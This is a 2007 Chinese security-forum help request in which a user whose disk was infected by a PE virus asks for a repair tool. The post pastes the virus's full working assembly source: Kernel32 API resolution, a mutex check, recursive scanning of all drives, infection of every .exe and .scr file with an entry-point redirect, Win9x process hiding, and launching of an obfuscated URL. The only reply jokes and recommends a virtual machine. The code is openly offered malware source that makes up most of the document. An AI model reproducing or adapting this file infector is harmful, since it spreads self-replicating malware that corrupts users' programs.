首页
社区
课程
招聘
[旧帖] [求助]帮忙找PE修复软件 0.00雪花
发表于: 2007-12-29 00:28 5281

[旧帖] [求助]帮忙找PE修复软件 0.00雪花

2007-12-29 00:28
5281
之后我运行了这个PE病毒后硬盘的所有文件都种了.现在系统都运行不了
下面是源码,那位可以写出修复程序出来啦,

include wap32.inc

ApiAddressList struc
;//Kernel32.DLL
  KnlLoadLibraryA          dd ?
  KnlCreateMutexA          dd ?
  KnlGetLastError          dd ?
  KnlGetCommandLineA       dd ?
  KnlWinExec               dd ?   
  KnlGetDriveTypeA         dd ?
  KnlSetCurrentDirectoryA  dd ?
  KnlFindFirstFileA        dd ?
  KnlFindNextFileA         dd ?
  KnlFindClose                   dd ?
  KnlSetFileAttributesA    dd ?
  KnlSetFileTime           dd ?
  KnlLOpen                 dd ?
  KnlLRead                 dd ?
  KnlLWrite                dd ?
  KnlLSeek                 dd ?
  KnlLClose                   dd ?  
  KnlSleep                   dd ?
  KnlRegisterServiceProc   dd ?
  KnlExitProcess           dd ?
ApiAddressList ends

KnlApiCount=20
MAX_BUFF_SIZE=1000h
VirusSize=OFF VirusEnd-OFF Start

extrn MessageBoxA: proc
extrn ExitProcess: proc

.386
.model flat,stdcall

.data

Start:
  pushad
VirusStart:   
  call  PushMyExceptionProc
  mov        esp,fs:[0]     ;//发生意外错误则退出
  jmp        [esp+10*4]     
PushMyExceptionProc:   ;//设置Exception.MyException
  push  fs:D [0]       ;//设置Exception.NextException
  mov   fs:[0],esp     ;//挂住异常处理函数
  ;/////////////////////////////////////////////////任务:查找Kernel32.DLL模块句柄
FindKernel32ModuleHandle:
  mov   eax,[esp+10*4] ;//取Kernel32返回地址
  and   ax,0f000h
  mov   esi,eax   ;//得到Kernel.PELoader代码位置(不精确)
LoopFindKernel32:
  sub   esi,1000h
  cmp   W [esi],'ZM' ;//搜索EXE文件头
  jnz   short LoopFindKernel32
GetPeHeader:
  movzx edi,W [esi.PEHeaderOffset]
  add   edi,esi
  cmp   W [edi],'EP' ;//确认是否PE文件头
  jnz   short LoopFindKernel32
  ;//////////////////////////////////////////////////任务:查找GetProcAddress函数地址
GetPeExportTable:
  mov   ebp,[edi.fhExportsRVA]
  add   ebp,esi      ;//得到输出函数表
GetExportNameList:  
  mov   ebx,[ebp.etExportNameList] ;//得到输出函数名表
  add   ebx,esi
  xor   eax,eax      ;//函数序号计数
  mov   edx,esi      ;//暂存Kernel32模块句柄
LoopFindApiStr:
  add   ebx,04      
  inc   eax          ;//增加函数计数
  mov   edi,[ebx]
  add   edi,edx      ;//得到一个Api函数名字符串
  call  PushStrGetProcAddress
  db    'GetProcAddress',0
PushStrGetProcAddress:
  pop   esi          ;//得到Api名字字符串
  xor   ecx,ecx
  mov   cl,15        ;//GetProcAddress串大小
  cld
  rep   cmpsb  
  jnz   short LoopFindApiStr  
  mov   esi,edx
  mov        ebx,[ebp.etExportOrdlList]
  add        ebx,esi             ;//取函数序号地址列表
  movzx ecx,W [ebx+eax*2]
  mov   ebx,[ebp.etExportAddrList]
  add   ebx,esi      ;//得到Kernel32函数地址列表
  mov   ebx,[ebx+ecx*4]
  add   ebx,esi      ;//计算GetProcAddress函数地址
  ;//现在我得到下列函数 ebx=GetProcAddress,esi=KernelModuleHandle
  ;//////////////////////////////////////////////////任务: 定位Knl32函数
RelocalKnlApi:
  sub        esp,size ApiAddressList+10h;//在堆栈中存放API的地址
  mov        edi,esp  
  call  PushKnlApiStr19;//将函数名推入堆栈
  db    'ExitProcess',0
PushKnlApiStr19:   
  call  PushKnlApiStr18;//将函数名推入堆栈
  db    'RegisterServiceProcess',0
PushKnlApiStr18:   
  call  PushKnlApiStr17;//将函数名推入堆栈
  db    'Sleep',0
PushKnlApiStr17:   
  call  PushKnlApiStr16;//将函数名推入堆栈
  db    '_lclose',0
PushKnlApiStr16:  
  call  PushKnlApiStr15;//将函数名推入堆栈
  db    '_llseek',0
PushKnlApiStr15:  
  call  PushKnlApiStr14;//将函数名推入堆栈
  db    '_lwrite',0
PushKnlApiStr14:  
  call  PushKnlApiStr13;//将函数名推入堆栈
  db    '_lread',0
PushKnlApiStr13:  
  call  PushKnlApiStr12;//将函数名推入堆栈
  db    '_lopen',0
PushKnlApiStr12:
  call  PushKnlApiStr11;//将函数名推入堆栈
  db    'SetFileTime',0
PushKnlApiStr11:
  call  PushKnlApiStr10;//将函数名推入堆栈
  db    'SetFileAttributesA',0
PushKnlApiStr10:
  call  PushKnlApiStr09;//将函数名推入堆栈
  db    'FindClose',0
PushKnlApiStr09:
  call  PushKnlApiStr08;//将函数名推入堆栈
  db    'FindNextFileA',0
PushKnlApiStr08:
  call  PushKnlApiStr07;//将函数名推入堆栈
  db    'FindFirstFileA',0
PushKnlApiStr07:
  call  PushKnlApiStr06;//将函数名推入堆栈
  db    'SetCurrentDirectoryA',0
PushKnlApiStr06:
  call  PushKnlApiStr05;//将函数名推入堆栈
  db    'GetDriveTypeA',0
PushKnlApiStr05:
  call  PushKnlApiStr04;//将函数名推入堆栈
  db    'WinExec',0
PushKnlApiStr04:
  call  PushKnlApiStr03;//将函数名推入堆栈  
  db    'GetCommandLineA',0
PushKnlApiStr03:
  call  PushKnlApiStr02;//将函数名推入堆栈
  db    'GetLastError',0
PushKnlApiStr02:
  call  PushKnlApiStr01;//将函数名推入堆栈
  db    'CreateMutexA',0
PushKnlApiStr01:
  call  PushKnlApiStr00
  db    'LoadLibraryA',0
PushKnlApiStr00:  
  mov   ecx,KnlApiCount  ;//共需要定位KnlApiCount个Knl32Api函数
LoopRelocKnlApi:
  mov        ebp,ecx
  call  ebx,esi
  cld
  stosd  
  mov        ecx,ebp
  loop  LoopRelocKnlApi     
  ;///////////////////////////////////////////////////////任务:判断病毒是否已经存在  
  mov        esi,esp        ;//函数调用列表指针  
  call  PushMutexName
  db    'LostLove',0
PushMutexName:  
  call  [esi.KnlCreateMutexA],0,0;//CreateMutexA,NULL,NULL,OFF "VirusMutex"
  call  [esi.KnlGetLastError]
  or    eax,eax
  jz        short ExecProgram
JmpToOldProc:
  mov        esp,fs:[0]
  pop        fs:D [0]
  pop        eax ;//平衡堆栈
  popad
  PushXXXCode db 68h
  OldEntryRVA dd OFF Exit
  ret
  ;///////////////////////////////////////////任务:加载老程序
ExecProgram:  
  call        [esi.KnlGetCommandLineA]
  call        [esi.KnlWinExec],eax,L 01
  ;///////////////////////////////////////////任务: 在Win9x下隐藏自己
  mov        eax,[esi.KnlRegisterServiceProc]
  or        eax,eax
  jz        short ScanLogDrive
  call        eax,L 0,L 1
  ;///////////////////////////////////////////任务:搜索本地文件,并传染病毒  
ScanLogDrive:
  ;//开始列举本地磁盘,从C开始,跳过A,B
  call        EnumLogDrive
  ;///////////////////////////////////////////任务: 给BoyHacker
ExplorerHttp:
  push        L 01h
  call        PushHttpAddr
  db        'Explorer 2c4K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4N6^5i4K6u0V1M7r3q4U0K9%4y4Q4x3X3g2U0L8$3#2Q4x3V1k6D9P5q4)9J5c8X3u0G2P5g2)9J5c8X3u0G2P5h3S2S2j5$3E0W2M7W2)9J5k6h3S2@1L8g2)9J5y4#2)9J5b7K6l9`.
PushHttpAddr:
  call        [esi.KnlWinExec]
  call        [esi.KnlExitProcess]

;//病毒标准汇编库函数
EnumLogDrive proc
  ;//列举本地硬盘
  mov        ecx,24
  mov        edx,'\:C'
ContEnumLogDrive:
  push        ecx
  push        edx
  call        [esi.KnlGetDriveTypeA],esp
  cmp        eax,2 ;//不可访问磁盘
  jb        short ContNextLogDrive
  cmp        eax,5 ;//CDROM光盘
  jz        short ContNextLogDrive
  call        EnumFileObject,esp  
ContNextLogDrive:
  pop        edx
  inc        edx
  pop        ecx
  loop        short ContEnumLogDrive
  ret
EnumLogDrive endp

EnumFileObject proc uses ebx esi edi,BootDir:dword
   ;//用来列举目录/网络上某个共享目录   
   call  [esi.KnlSetCurrentDirectoryA],BootDir ;设为当前目录
   or    eax,eax
   jz         short SetDirError
   sub   esp,MAX_BUFF_SIZE  ;//开辟1000h字节的缓冲区
   mov   [esp],L 2a2e2ah ;//建立"*.*"字符串
   mov   eax,esp
   call  [esi.KnlFindFirstFileA],eax,esp
   mov   ebx,eax
   cmp         eax,-1
   jz    short EnumFileObjectError     
LoopEnumFileObject:
   call  [esi.KnlFindNextFileA],ebx,esp
   or    eax,eax
   jz    short EnumFileObjectOver
   lea   edx,[esp.cFileName]
   mov   eax,[esp.dwFileAttributes]
   and   eax,10h ;//测试文件属性
   jz    short IsFileObject
IsDirObject:     ;//是一个目录
   mov   eax,[edx]
   cmp   al,'.'  ;//测试是否点目录,是就不处理
   jz    short LoopEnumFileObject
   call  EnumFileObject,edx  ;//递归调用
   jmp   short LoopEnumFileObject
IsFileObject:    ;//是一个文件
   call  FoundFileObject,esp;//操作文件
   jmp   short LoopEnumFileObject
EnumFileObjectOver:   
   call  [esi.KnlFindClose],ebx   
EnumFileObjectError:
   mov   D [esp],L 2e2eh  ;//恢复原来的当前目录 建立字符串".."
   call  [esi.KnlSetCurrentDirectoryA],esp
   add   esp,MAX_BUFF_SIZE  ;//平衡堆栈
SetDirError:
   ret
EnumFileObject endp

FoundFileObject proc uses ebx esi edi,FindData:dword
   ;//判断扩展名(EXE/SCR)
   mov          ebx,FindData
   mov          ecx,MAX_BUFF_SIZE
   lea          edi,[ebx.cFileName]
   xor          al,al
   cld
   repnz  scasb
   mov          eax,[edi-5]
   or          eax,20202000h
   cmp          eax,'exe.'
   jz          short IsExeFile
   cmp          eax,'rcs.'
   jz          short IsExeFile   
   ret
IsExeFile:
   call          OptExeFile,ebx
   ret
FoundFileObject endp

OptExeFile proc uses ebx esi edi,FindData: dword
   ;为修改PE文件做准备,恢复文件信息
   ;////////////////////Opt Step 0: 清除文件属性
   mov          edi,FindData
   lea          ebx,[edi.cFileName]               
   call          [esi.KnlSetFileAttributesA],ebx,L 0
   ;////////////////////Opt Step 1: 打开文件读写
   call          [esi.KnlLOpen],ebx,L 02
   cmp          eax,-1
   jz          short OpenFileError
   mov          ebx,eax
   ;////////////////////Opt Step 2: 修改PE文件  
   call          FixPeFile,ebx
   ;////////////////////Opt Step 3: 恢复文件时间
   lea          eax,[edi.ftCreationTime]
   lea          ecx,[edi.ftLastAccessTime]
   lea          edx,[edi.ftLastWriteTime]
   call          [esi.KnlSetFileTime],ebx,eax,ecx,edx
   ;////////////////////Opt Setp 4: 关闭文件
   call          [esi.KnlLClose],ebx
OpenFileError:
   ;////////////////////Opt Step 5: 恢复文件属性   
   lea          ebx,[edi.cFileName]
   call          [esi.KnlSetFileAttributesA],ebx,[edi.dwFileAttributes]
   ret
OptExeFile endp

FixPeFile proc uses ebx esi edi,hPeFile:dword  
   ;修改PE文件,附加上病毒体   
   sub          esp,MAX_BUFF_SIZE
   mov          edi,esp
   ;/////////////////////Opt Step 0: 读文件头,查找最后一个ObjectTable
   call          [esi.KnlLRead],hPeFile,edi,MAX_BUFF_SIZE
   movzx  eax,W [edi+PEHeaderOffset]
   add          edi,eax
   cmp          edi,ebp ;//超界检查
   ja     FixPeFileOver
   cmp          [edi.fhPEFlag],'EP' ;//检查PE文件
   jnz          FixPeFileOver
   mov          eax,VirusSize       ;//检查是否被感染
   xchg  [edi.fhCheckSum],eax
   cmp          eax,VirusSize
   jz          FixPeFileOver
   lea          ebx,[edi.fhObjectTable00]
   movzx  ecx,[edi.fhObjectCount]
   dec          ecx
FindLastObjectTable:
   add          ebx,size ObjectTable
   loop          FindLastObjectTable
   cmp          ebx,ebp ;//超界检查
   ja          FixPeFileOver
   ;/////////////////////Opt Step 1: 修改ObjectTable的属性
   or          [ebx.otFlags],0e0000000h ;Code|Init|Exec|Read|Write[CIERW]属性   
   ;/////////////////////Opt Step 0: 移动文件指针,探测文件长度
   call          [esi.KnlLSeek],hPeFile,L 0,L 02
   cmp          eax,-1
   jz          short        FixPeFileOver   
   ;/////////////////////Opt Step 3: 计算新的ObjectTable数据,与程序入口
   push          eax ;保存文件长度信息
   add          eax,VirusSize
   sub          eax,[ebx.otPhysOffset] ;计算ObjectTable物理尺寸
   mov          [ebx.otPhysSize],eax
   mov          edx,[ebx.otVirtSize]
   cmp          eax,edx
   jb          short NoFixVirtSize  
   mov          [ebx.otVirtSize],eax ;扩展虚拟尺寸  
   mov          ecx,[edi.fhObjectAlign] ;取Object对齐信息
   dec          ecx
   add          eax,ecx ;收尾数
   add    edx,ecx ;收尾数
   not          ecx   
   and          eax,ecx ;取整数
   and          edx,ecx ;取整数
   sub          eax,edx ;计算新ImageSize增加值
   add          [edi.fhImageSize],eax ;扩展映射总尺寸   
NoFixVirtSize:   
   pop          ecx ;恢复文件长度信息
   sub    ecx,[ebx.otPhysOffset]
   add          ecx,[ebx.otRVA] ;计算出新PE程序入口
   xchg          [edi.fhEntryRVA],ecx
   add          ecx,[edi.fhImageBase]
   call          GetBaseAddress
GetBaseAddress:
   pop          edi
   sub          edi,OFF GetBaseAddress-OFF OldEntryRVA
   mov          [edi],ecx   ;记录老PE程序入口
WriteVirusToFile:
   sub    edi,OFF OldEntryRVA-OFF Start
   call          [esi.KnlLWrite],hPeFile,edi,VirusSize
   cmp          eax,-1
   jz          short FixPeFileOver
WritePeHeader:
   call          [esi.KnlLSeek],hPeFile,L 0,L 0
   mov          eax,esp
   call          [esi.KnlLWrite],hPeFile,eax,MAX_BUFF_SIZE  
FixPeFileOver:
   add          esp,MAX_BUFF_SIZE   
   ret
FixPeFile endp

VirusEnd:

.code

  Msg        db 'Virus Run Ok',0

Exit:
  call        MessageBoxA,NULL,OFF Msg,OFF Msg,L 0
  call  ExitProcess,L 0

end Start

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 218
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
晕,有意思.帮不到你了.下次记得安个虚拟机再来玩病毒
2007-12-29 02:37
0
游客
登录 | 注册 方可回帖
返回